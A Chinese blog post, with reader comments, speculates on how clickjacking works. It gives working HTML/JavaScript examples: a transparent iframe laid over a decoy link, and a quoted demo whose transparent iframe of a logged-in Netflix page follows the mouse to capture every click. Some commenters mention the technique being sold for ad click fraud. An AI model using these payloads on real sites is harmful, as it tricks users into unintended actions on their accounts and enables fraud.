Clickjacking猜想

作者:Monyer

最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:

在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最 后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe 中的相关操作。用代码的表现如下:

<a href="http://www.google.com/" style="position:absolute; left:265px; top:145px ;z-index:1">monyer</a>
<iframe src="http://www.baidu.com/" scrolling="no" frameborder="0" width="100%" height="300px" style="position:absolute;left:0px;top:0px;z-index:2;opacity:.1;filter: alpha(opacity=10); -moz-opacity: 0.1;"></iframe>

这个也就是所谓的不需要任何脚本的,所以禁用脚本没用,但当然如果你不禁用脚本,攻击起来可能更方便些:

用一浮动层载iframe,然后这个iframe的尺寸绝对小并通过滚动条的控制来保留必要连接,然后做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方,这样用户的任何点击都会导致攻击的产生。

demo的代码如下:

<a style="position:absolute; left:850; top:620" href="http://cnn.com">click here for lindsay lohan nudes</a>

<SCRIPT type="text/javascript">
if (document.getElementById || document.all)
document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:100px;height:100px"><IFRAME id="ifra" SRC="http://www.netflix.com/MemberHome" scrolling=no frameborder=0 width="100" height="100" style="opacity:.1;filter: alpha(opacity=1); -moz-opacity: 0.1;"></iframe></div>')

function gettrailobj(){
if (document.getElementById)
return document.getElementById("trailimageid").style
else if (document.all)
return document.all.trailimagid.style
}

function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function followmouse(e){
var xcoord= 0
var ycoord= 0
if (typeof e != "undefined"){
xcoord+=e.pageX - 50
ycoord+=e.pageY - 50
} else if (typeof window.event !="undefined"){
xcoord+=truebody().scrollLeft+event.clientX
ycoord+=truebody().scrollTop+event.clientY
}
var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
if (xcoord+50+3>docwidth || ycoord+50> docheight)
gettrailobj().display="none"
else
gettrailobj().display=""
gettrailobj().left=xcoord+"px"
gettrailobj().top=ycoord+"px"
}

document.onmousemove=followmouse
</SCRIPT>

不过这个demo写得显然不够完美,有很多的错误。

但不知道Clickjacking事实是否如此,以上仅仅是Monyer个人的一点猜想。但即便不是如此,那么这种攻击方式也是很可行了,而且对于 防御xsrf而使用的token可以完美地绕过,因为就是正常的点击嘛。但跟xsrf不同的是,目标网站几乎是无法进行防御阻止的。(maybe no iframe)

Monyer !

相关日志

楼被抢了 6 层了... 抢座Rss 2.0或者 Trackback

  • DrKN

    也去呢…是用css也能做到…
    都是屏蓋著button呢…..
    但有點奇怪…
    好像看文章見到它是指 去了其他網站仍能生效喔…

  • 奋斗

    用这种方法在做GG点击作B的人很多,代码还卖几十块钱一套!
    老兄你才知道啊!

  • xixi

    丢个地址出来..
    http://404.wairi.cn/

    感觉下呵呵…

  • 秒杀


    攻击网站很可行哦……
    可以一直循环….
    有连接的站点就一直破坏 一直攻击……

    屏蓋著button
    css可以达到这样的效果
    但是效果不一样

  • 四不象

    一些免费小说网站的广告早就采用了这种方法

  • hi

    所谓的漏洞, 最早居然是起源于广告的欺骗点击

发表评论